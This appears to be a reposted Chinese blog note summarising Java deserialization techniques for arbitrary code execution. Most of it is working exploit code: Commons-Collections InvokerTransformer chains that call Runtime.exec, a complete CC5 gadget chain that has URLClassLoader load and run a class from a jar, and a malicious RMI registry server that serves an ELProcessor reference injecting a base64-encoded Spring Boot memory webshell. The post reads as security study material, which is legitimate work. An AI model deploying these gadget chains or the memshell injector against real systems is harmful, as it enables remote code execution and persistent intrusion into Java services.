反序列化执行任意代码的几种方式总结


前言:反序列化执行任意代码的几种方式总结笔记

InvokeTransform类

执行命令的反序列化代码如下:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

但是这种存在局限性:

1、虽然可以执行系统命令,但是不方便完成多条命令的操作

2、无法执行更多的Java的代码,就比如想要实现多条Java代码的话,那么这里的话就没有办法进行执行,我这里指的是比如变量声明这种东西(如果你想要执行任意类的方法的话,通过InvokeTransform来进行调用,这样是可以的)

可能会有人说exec不是支持数组传参吗?是的,但是我自己尝试的时候发现无法进行多命令执行,如下图所示,但是只弹出了一个计算器

new InvokerTransformer("exec", new Class[]{String[].class}, new String[][]{{"calc","notepad"}})

所以总的来说反序列化InvokeTransform去执行命令还是有很多局限性的。

URLClassloader

URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

如果需要利用,那么前提肯定是需要出网,其实也不一定,unicodesec有篇文章看到的就是通过先写入文件,又因为URLClassloader支持file协议,加载本地jar包同样可以实现命令执行。

URLClassloader 实现了通过指定类名,去远程/本地服务器上查找 class 类文件并且进行本地执行。

这个利用的还是InvokeTransform,但是反序列化的是URLClassloader对象,上面的是通过Runtime对象

这里反序列化URLClassloader同样也可以实现命令执行,比起Runtime,它的优点在于可以可以运行Java代码,缺点利用步骤比较麻烦,需要搭建服务器等等。

URLClassLoader.class.getConstructor(java.net.URL[].class).newInstance(new java.net.URL("url")).loadClass("remote_class").getMethod("do_exec").invoke(null);

我这里就拿本地来进行测试了,用的是file协议来进行测试,先打包好jar包,如下图所示

路径为:D:\ALL\javaidea\MyFirstTestMaven\CollectionsSerializable\out\artifacts\CollectionsSerializable_jar\CollectionsSerializable.jar

本地测试,可以看到成功执行了

public class TestCode {
    public static void main(String[] args) throws Exception{
        URL url = new URL("file://D:\\ALL\\javaidea\\MyFirstTestMaven\\CollectionsSerializable\\out\\artifacts\\CollectionsSerializable_jar");
        URLClassLoader.class.getConstructor(URL[].class).newInstance((Object) new URL[]{url})
                .loadClass("com.zpchcbd.unicodesec.urlclassloader.RemoteObject")
                .getMethod("commandExec")
                .invoke(null);
    }
}

接着就是来反序列化进行执行,代码如下,我这里测试的是CC5

package com.zpchcbd.unicodesec.urlclassloader;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.HashMap;

public class UrlLoader {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(java.net.URLClassLoader.class),
                new InvokerTransformer(
                        "getConstructor",
                        new Class[] {Class[].class},
                        new Object[] {new Class[]{java.net.URL[].class}}
                ),
                new InvokerTransformer(
                        "newInstance",
                        new Class[] {Object[].class},
                        new Object[] { new Object[] { new java.net.URL[] { new java.net.URL("file://D:\\ALL\\javaidea\\MyFirstTestMaven\\CollectionsSerializable\\out\\artifacts\\CollectionsSerializable_jar") }}}
                ),
                new InvokerTransformer(
                        "loadClass",
                        new Class[] {String.class},
                        new Object[] {"com.zpchcbd.unicodesec.urlclassloader.RemoteObject"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"commandExec", new Class[]{}}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new String[]{}}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // LazyMap封装
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);

        // TiedMapEntry封装
        TiedMapEntry tiedMapEntry = new TiedMapEntry(map,121212121);

        // BadAttributeValueExpException的val字段获取
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedMapEntry);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("urlloader.txt"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("urlloader.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

JS引擎

unicodesec推荐的使用的一种方法,既不需要出网,也支持多java代码执行,并且操作简单。

关于Javassist用法的文章参考:https://www.cnblogs.com/zpchcbd/p/14835338.html

先了解下如何使用JS引擎来执行代码

Nashorn(jdk8),Rhino(JDK 6/7),javascript等,如下图是java8中所支持的js引擎

public class JsCode {
    public static void main(String[] args) throws Exception {
        new ScriptEngineManager().getEngineByName("javascript").eval("print('Hello World!');");
    }
}

同样的通过js代码也可以执行java代码,如下图所示

public class JsCode {
    public static void main(String[] args) throws Exception {
        new ScriptEngineManager().getEngineByName("Nashorn").eval(
                "var a=Java.type('java.util.HashMap');" +
                        "print(a)");
    }
}

那么想要调用Runtime的exec需要如何进行操作?这个先放着,我之后来补充...

TemplatesImpl

apache Xalan 是一个 java 操作 xml 的库。该库内置 Java 的官方库中。在 apache Xalan 的某个方法中,存在将字节码通过 defineClass 加载为类的代码。

在JNDI注入的时候会比较好用,通过配合EL表达式来实现任意代码执行。

public class RMIReferenceServerTest  {
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 9527");
        LocateRegistry.createRegistry(9527);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"replacement\")";
        String replacement = payload.replace("replacement", injectMemshell(SpringBootMemoryShellOfInterceptor.class));
        System.out.println(replacement);
        ref.add(new StringRefAddr("x", replacement));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

        Naming.bind("rmi://192.168.0.108:9527/AAAAAA", referenceWrapper);
        System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.0.108/AAAAAA");

    }

    public static String injectMemshell(Class clazz){
        String classCode = null;
        try{
            classCode = Utils.getClassCode(clazz);
        }catch(Exception e){
            e.printStackTrace();
        }

        String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
                "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
                "try{\n" +
                "   var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
                "   clazz.newInstance();\n" +
                "}catch(err){\n" +
                "   var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
                "   method.setAccessible(true);\n" +
                "   var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
                "   clazz.newInstance();\n" +
                "};";

        return code;
    }
}


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM